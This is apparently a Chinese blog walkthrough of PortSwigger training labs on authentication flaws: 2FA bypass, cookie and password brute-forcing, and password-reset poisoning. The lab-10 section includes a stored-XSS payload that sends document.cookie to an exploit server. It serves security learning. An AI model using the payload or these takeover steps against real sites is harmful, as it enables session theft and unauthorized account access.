【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(下)

简介: 【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(下)

实验2:2FA简单旁路


已获得的凭据:wiener:peter

受害人的:carlos:montoya

双重验证绕过

第一重:密码验证

第二重:邮箱验证码


part1:

先登陆已有凭据wiener:peter

然后收取邮箱验证码6e3335caaf4d4764a2bfbce7382f933e.png

d638800e09d34e16b7ac7e49dd3db30e.png保存登录之后的url


https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/my-account

ef61d0f7afcd4743ac10ade6bccee1ab.png


9479411406b64ee5bb398d0ddd262ed4.png

part2:


使用已有凭据登录carlos账户


carlos:montoya(验证账号密码)


74ee36c0773648d1939a33bf295d695a.png


到这个URL就是要验证邮箱了


https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/login2


5858d03754ed43ff96d5ee9c8409313e.png

part3:


直接将换为登陆成功的URL尝试绕过第二重邮箱验证


即后面替换为/my-account


就可以登陆成功


https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/my-account

1415103693464c27ac527554d25cde21.png


实验8:2FA断开逻辑


信息:


已获得的凭据:wiener:peter

受害者账号:carlos


part1:


先登陆已获得的凭据:wiener:peter


c96ed00400d34206959f77638402594f.png

3888ea10ff1047ff88621ac576fe5b1b.png


part2:


思路分析:


在网站map搜host找到刚刚的数据包login


然后还GET请求了一个login2(请求中的用户为wiener)

2626dc112efc46fcbced1b895e62d09f.png



思路:将用户改为我们要攻击的账号carlos,并重放就可以第二步验证的是攻击账号的账号了

7f91f38a326840368084234423ec2be1.png



(分析完以后,退出登陆wiener)


part3:


第一步验证的完整过程


先使用wiener登陆,同时bp打开拦截


90867951974d47328babb6d82559a640.png


放过第一个登陆的数据包


f3a2324779eb42c58ca82bc09e654c10.png


此时将第二个数据包的 verify值改为受害者账号(carlos)


2ccb11cf70fb47bf991092b2e5905d90.png


第三个数据包我也改为了carlos


dfe193c1679c40e6aa4693bbb4bf7479.png


part4:


第二步验证的完整过程


这一步是验证受害用户验证码了(4位数,直接爆破)


ae939af9171f43ebbd6c590453fdee1f.png


————


(此处一个错误提示:千万别用蛮力,全部爆破完才出来,,此时靶场已经关了,服了,用顺序递增)


e1a03a59df074d9a8c4cd1041ac7fc76.png


此时靶场已关,重新来过(服了)

c69160773efa46f3b3e4c5f46017374a.png

————


重新爆破(换数值递增的方法)


注意:verify=carlos需要改为受害者(否则失败)


d4499f0dc2e543e692856468b69d96a1.png


(爆破5次发现,官方基本上把验证码设置为了1000以下)


ed75da8020a54594912e68d7e0dc5251.png


把线程调大点


334fcfa4e92c4fd6b501c2c351b28501.png

ad12b1c037134b828f00952e1acd3be3.png


26c1584a2b854dcc85c330cce5278865.png


实验16:使用暴力攻击的2FA旁路(有一处数据包错误,已研究明)


再次分析错误的地方时候:


最后一步可能需要上一步的验证参数


前提:


受害人凭据:carlos:montoya

但无权访问用户的 2FA 验证码(暴力破解)


part1:


登录用户carlos,提交任意验证码0000

(目的收集数据包,验证码对不对无所谓)


b339438398c54e1494a6b64e02d515e3.png

5a99cc53caef43a2bf3603a952a1f7e1.png



part2:


Project options(项目选项)--->sessions--->add


4e342e93a30f40bbb0ed41c8838d38be.png


scope(范围)---> all urls


c2118a9aef7046b8a3b9b953bccbc70b.png

3cb60ed9a88d4ecba6a96ffe4bf63c9c.png



提示:我以为老版的不能多选,就换了最新版试试


正确操作:多选条,然后删除多余的


再点击test macro


21361b1a7c1a40c2851dbef31220f8e2.png


————


第三个数据包是200,是正常的


(但是我第二个数据包变成了400,不是302了,按道理账号密码是正确得跳转,并获得session)


9a5c5b50ed824834a27f159adba5ff03.png


然后都点击确认OK


5d9382e83f4349c8b004a660705b2d10.png


641e6b58dc79410cad1aa0ee67ef9872.png


再准备进行验证码爆破


35780f7b5d4240c291ddc985a2bd1bc1.png


23f418ed18444e6dbb15418abb8d7132.png

25f60ee487ca4a82a5dfcff1095ea306.png


四、其他身份验证机制中的漏洞


1、简述:


除了基本的登录功能外,大多数网站还提供了允许用户管理其帐户的补充功能。例如,用户通常可以更改其密码或在忘记密码时重置密码。这些机制还可能引入可被攻击者利用的漏洞。


网站通常会注意避免在其登录页面中出现众所周知的漏洞。但是很容易忽略这样一个事实,即需要采取类似的步骤来确保相关功能同样健壮。这在攻击者能够创建自己的帐户并因此能够轻松访问以研究这些附加页面的情况下尤为重要。


2、保持用户登录


一个常见的功能是即使在关闭浏览器会话后仍保持登录状态的选项。这通常是一个简单的复选框,标记为“记住我”或“保持我的登录状态”。


1、破解公式:此功能通常通过生成某种“记住我”标记来实现,然后将其存储在持久性cookie中。由于拥有此cookie可以有效地让您绕过整个登录过程,因此最好不要猜测此cookie。但是,有些网站会根据可预测的静态值(如用户名和时间戳)的串联来生成此Cookie。有些甚至将密码作为cookie的一部分。如果攻击者能够创建自己的帐户,这种方法尤其危险,因为他们可以研究自己的cookie并可能推断出它是如何生成的。一旦他们计算出了公式,他们就可以尝试强行使用其他用户的cookie来访问他们的帐户。
2、破解加密算法:一些网站假设,如果cookie以某种方式加密,即使它使用静态值,也无法猜测。如果操作正确,这可能是真的,但是使用简单的双向编码(如Base64)天真地“加密”cookie并不能提供任何保护。即使使用正确的单向哈希函数加密也不是完全安全的。如果攻击者能够轻松地识别散列算法,并且不使用salt,那么他们可能会通过简单地散列他们的单词列表来暴力破解Cookie。如果没有对cookie猜测应用类似的限制,则可以使用此方法绕过登录尝试限制。
3、XSS攻击:即使攻击者无法创建自己的帐户,他们仍然可以利用此漏洞。使用常用的技术(如XSS),攻击者可以窃取另一个用户的“记住我”cookie,并从中推断出cookie是如何构造的。如果网站是使用开源框架构建的,Cookie构建的关键细节甚至可能会公开记录。
4、密码哈希:在极少数情况下,即使经过哈希处理,也可能从Cookie中以明文形式获得用户的实际密码。众所周知的密码列表的散列版本可以在网上找到,所以如果用户的密码出现在其中一个列表中,解密散列有时可能就像将散列粘贴到搜索引擎中一样微不足道。这证明了salt在有效加密中的重要性。

————


涉及实验:


实验9:强制使用保持登录状态的Cookie


实验10:离线密码破解


3、重置用户密码


1、通过电子邮件发送密码


应避免通过不安全的通道发送持久口令。在这种情况下,安全性依赖于生成的密码在很短的时间内过期,或者用户立即再次更改其密码。否则,这种方法很容易受到中间人攻击。
电子邮件通常也不被认为是安全的,因为收件箱是永久性的,并且不是真正为机密信息的安全存储而设计的。许多用户还通过不安全的渠道在多个设备之间自动同步收件箱


2、使用URL重置密码


重置密码的一种更可靠的方法是向用户发送唯一的URL,该URL将用户带到密码重置页。此方法的安全性较低的实现使用带有易于猜测的参数的URL来标识正在重置的帐户,例如:
http://vulnerable-website.com/reset-password?user=victim-user
在此示例中,攻击者可以更改user参数以引用他们识别的任何用户名。然后,他们将被直接带到一个页面,在那里他们可以为这个任意用户设置一个新密码。
此过程的一个更好的实现是生成一个高熵、难以猜测的令牌,并基于该令牌创建重置URL。在最佳情况下,此URL不应提供有关正在重置哪个用户密码的提示。 
http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8
当用户访问此URL时,系统应该检查后端是否存在此令牌,如果存在,应该重置哪个用户的密码。此令牌应在短时间后过期,并在重置密码后立即销毁。
但是,某些网站在提交重置表单时也无法再次验证令牌。在这种情况下,攻击者只需通过自己的帐户访问重置表单,删除令牌,然后利用此页面重置任意用户的密码。 
如果重置电子邮件中的URL是动态生成的,也可能容易受到密码重置毒害。在这种情况下,攻击者可能会窃取其他用户的令牌并使用它更改其密码。


3、更改用户密码


通常,更改密码需要输入当前密码,然后输入新密码两次。这些页面基本上依赖于与普通登录页面相同的过程来检查用户名和当前密码是否匹配。因此,这些页可能容易受到相同技术的攻击。
如果密码更改功能允许攻击者在不以受害用户身份登录的情况下直接访问它,则该功能可能特别危险。例如,如果用户名在隐藏字段中提供,攻击者就可能在请求中编辑此值以攻击任意用户。攻击者可能会利用此漏洞枚举用户名和强力密码。


涉及实验:


实验3:密码重置逻辑错误


实验11:通过中间件的密码重置中毒


实验12:通过更改密码暴力破解密码


实验9:强制使用保持登录状态的Cookie


信息:


关闭浏览器后,会话未销毁(可以尝试暴力破解)


已有凭据:wiener:peter


攻击账号:carlos


part1:


登陆已有账号(点击stay-logged-in)


5ea9f8d0b6d4433a836e3d1c5bdad639.png


part2:


分析登陆完整过程的数据包


(2个地方有保持登陆的值)


第一个地方,是提交登陆的地方(这个地方肯定是还没登陆进去的)


51050d215a49489e8dc008cc03c29a1a.png


第二个地方是登陆进去后的页面(这个地方肯定是成功登陆并保存登陆状态的)


6ed958ada34047678854176b29bf3ea4.png


stay-logged-in的值解密出来后就是账号-密码(通过账号密码一直保持登陆状态)


先是进行了一遍base64加密

56ecc5f45db44f85a113f23b6170b601.png



然后对密码进行了cmd5加密


e9f0dd29f7a24fe8a3b1a47ec91c7eba.png


part3:


提示:先退出登陆到首页


(不然后面爆破不出来)

4ac3ec29b8ff49b9986c8e7627533f38.png



part4:


对被攻击用户登陆状态的stay-logged-in值进行爆破

8f5e4049519d4effbe50ec493c90ea05.png


先导入密码字典


e76d3fda83524d4ab0e43366924e1b04.png


再设置加密规则


(先在是模仿加密规则,和我们退出来的方向相反)


对密码先进行md5加密


6d00f5b2fa12403a861835e67dc1a2ea.png


再添加被攻击账号前缀(:千万别打成中文的了)

886c5422ee104c6d88cbb605aa5a8237.png


最后base64加密


b26efb95423543629ce9fc40ddd46753.png


part5:


分析结果


进行长度排序


99afc479add3446ab6a9674f413a9221.png


Y2FybG9zOjZlYmU3NmM5ZmI0MTFiZTk3YjNiMGQ0OGI3OTFhN2M5


解密:carlos:6ebe76c9fb411be97b3b0d48b791a7c9

解密:987654321

————

得出

账号:carlos

密码:987654321


5aa3b98173ae480b9e1233d07a4cbd4c.png


实验10:离线密码破解


xss获取cookie的stay-logged-in值


part1:

已有凭据:wiener:peter

受害者账号:carlos


0226f094f91c4ff5a0ba065f6bacffdf.png


part2:


在主页找一个博客进行评论


exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/部分填自己的


<script>document.location='//exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/'+document.cookie</script>

d71e53d7a4b64c7b8f459fde07495151.png

part3:


获取xss获取的cookie


1b71d24337274638a17712847fdd298c.png

6b862b650d154516ad4e683ba8357473.png


4a74b04b98c54d08a6dd8bfb290310bd.png


Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

part4:


离线破解


base64破解


carlos:26323c16d5f4dabff3bb136f2460a943


a85c0eca6fb74f3a87e463fc94d8c8e9.png


cmd5解密:


carlos:onceuponatime


3bcb11b56b244c63baecabadf767bfc0.png


part5:


登陆


cbae3a95856244bb83cf741516d3cfb4.png


ca5971222770441ebef4200862f6f9c4.png7142ed91ee3d43999a49abc6af06057c.png



实验3:密码重置逻辑错误


信息:


已有凭据:wiener:peter


受害者账号:carlos


part1:


先把所有数据包抓了走一遍流程(分析找回的顺序)


97df2068ce2845ebad4f6b1d5613e920.png


输入用户名后,看邮箱


1f9ee1bae47c47de89954adee4950922.png423807e2a64c48ad9e4e832ae1a1b48f.png



点URL后将进行重置密码

410e78b1e5c54a57a5b7e038bb6eaef8.png


(进行重置的数据包就是关键了)


f002a24ea1f642cdbb3440887961cd9f.png


part2:


我将重置的URL发到了repeater


(观察到了前端隐藏参数,就是用户名)

4aa27e5d02eb4d4a83f1af5a02f31d6a.png


将用户名改为受害者账号:carlos


302跳转了,可能成功了,现在去尝试登陆


8475cd04d9a444a583c11aa217bfe96f.png


part3:


登陆


carlos/111111


15bec9dc8b314d079218b121a1841041.png


实验11:通过中间件的密码重置中毒


信息:


已有凭据:wiener:peter


本实验中X-Forwarded-Host标头是受支持的,使用它来将动态生成的重置链接指向自己控制的任意域


part1:


db6e962f3dfd45aba11863383094a111.png


复制邮箱,后面要用(其实后面也可以直接查看)


exploit-0aea007604ddbf52c85306d901ca0003.exploit-server.net

5d7770d4ecee4affb93f2037b169dff2.png

part2:


退出登陆,到忘记密码流程去

c61c0dcdb10541599214ae5fae0804ca.png



先使用受害者账号名


去获取temp-forgot-password-token


013ce8badf074705b3236babe10e49c3.png


添加X-Forwarded-Host标头,并指向漏洞服务器(已有的)


X-Forwarded-Host:exploit-0aea007604ddbf52c85306d901ca0003.exploit-server.net


80b0a328eb4e4e71b620823c9be56d26.png


在漏洞服务器中,找到收获账号的temp-forgot-password-token


2207710f6cda49f6b85901164fd1b5b4.png



246965dd2abe4ea4b34eb5f5ad659e5b.png

nFLC5vX07qjtWVeye3UKdfDOjXaYK0zt

f02af20698274e2ead7599ecb94de92d.png


part3:


再使用自己的已有账号w……


去获取重置密码的URL


a9d9ca0ce63e4a809c6e7e26913758f2.png


再去到服务器邮箱里面


15266afe97144b86a24e1fe03cee8df9.png


part4:


点击重置密码的URL


并将temp-forgot-password-token值由w……的修改为被害者c……的


733fcb083a9f4f91b776c228e7e8aa90.png


进入重置密码


708d33e561f1454e92e090f73d59fc94.png


重置的需要也需要将temp-forgot-password-token值由w……的修改为被害者c……的

d16623b1af33479099176967ee4d975d.png



part5:


重置后进行登陆


2d58d42702e147619db68d6fa2b4859c.png

2a47836feddc4175b4da8f16c5189e8c.png

实验12:通过更改密码暴力破解密码


信息:


已有凭据:wiener:peter


受害者账号:carlos


part1:


使用已有账号分析(先登陆已有账号)

a5a0b12baf7645b087facf767146ce9e.png

为了爆破出正确原密码,需借助错误提示(观察响应)


方法1:正确原始密码、不一致的新密码(可爆破出原密码)


爆破中:原密码错误时候提示Current password is incorrect,原密码正确的时候提示New passwords do not match


6e20c517a1494656b304f76b7057e2ff.png


————


方法2:错误原密码、不一致新密码


爆破中:当原密码错误时候,提示Current password is incorrect;当原密码正确到时候,提示信息变为New passwords do not match


757fba93971b42cd9b998d5406aa9334.png


————


方法3:错误原密码、一致新密码


错误出现302跳转到登陆页面,正确也是302跳转(无法爆破)


2067662392384617a4191a6e9e7cf6ab.png


part2:


username改为carlos


对原密码进行爆破

9482cb7835f84badb9c82da31f0158f5.png


导入字典

48d0f192d67540f0ac3bd2ff3e333011.png


在结果数据包中匹配New passwords do not match(此时说明原密码已经正确了)


0a74705d7d014ba0b79d4dc4e4ad7b05.png


part3:


分析结果


账号:carlos


密码:7777777


71884a2146ba4885878b4553c91314a0.png


注册已登陆账号,并登陆carlos

3c2eb7cd751a48a8a88594b9abe97f81.png


7d62be979184459ab44139ed85f387fe.png

目录
相关文章
|
2月前
|
安全 Shell PHP
一篇文章讲明白Kali学习笔记30:身份认证与命令执行漏洞
一篇文章讲明白Kali学习笔记30:身份认证与命令执行漏洞
10 0
|
安全 Java API
Shiro 身份认证绕过漏洞 CVE-2022-32532
Apache Shiro 是一个强大且易用的 Java 安全框架,通过它可以执行身份验证、授权、密码和会话管理。使用 Shiro 的易用 API,您可以快速、轻松地保护任何应用程序 —— 从最小的移动应用程序到最大的 WEB 和企业应用程序。
426 0
Shiro 身份认证绕过漏洞 CVE-2022-32532
|
安全 数据安全/隐私保护
靶机实战-密码重置与身份认证失效漏洞
靶机实战-密码重置与身份认证失效漏洞
靶机实战-密码重置与身份认证失效漏洞
|
JSON 安全 Oracle
【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(上)
【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(上)
442 0
【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(上)
|
数据安全/隐私保护
|
安全 Ruby
Github Enterprise版本SAML服务两个身份认证漏洞
本文讲的是Github Enterprise版本SAML服务两个身份认证漏洞,在Github Enterprise版本的SAML服务中发现完全身份验证绕过的两个漏洞。作者将这些漏洞通过hackone的漏洞悬赏报告给Github并且已经修复。
2017 0
|
3月前
|
关系型数据库 MySQL 数据库
云计算|OpenStack|社区版OpenStack安装部署文档(三 --- 身份认证服务keystone安装部署---Rocky版)
云计算|OpenStack|社区版OpenStack安装部署文档(三 --- 身份认证服务keystone安装部署---Rocky版)
105 0
|
存储 运维 网络协议
阿里云SMB协议文件存储服务支持基于AD域的用户身份认证及权限访问控制介绍
在本文中,我们首先简单介绍文件系统的用户认证和访问权限控制的概念,然后介绍阿里云SMB协议文件存储服务支持基于AD域系统的用户身份认证及访问权限控制的设计实现。
3976 0
阿里云SMB协议文件存储服务支持基于AD域的用户身份认证及权限访问控制介绍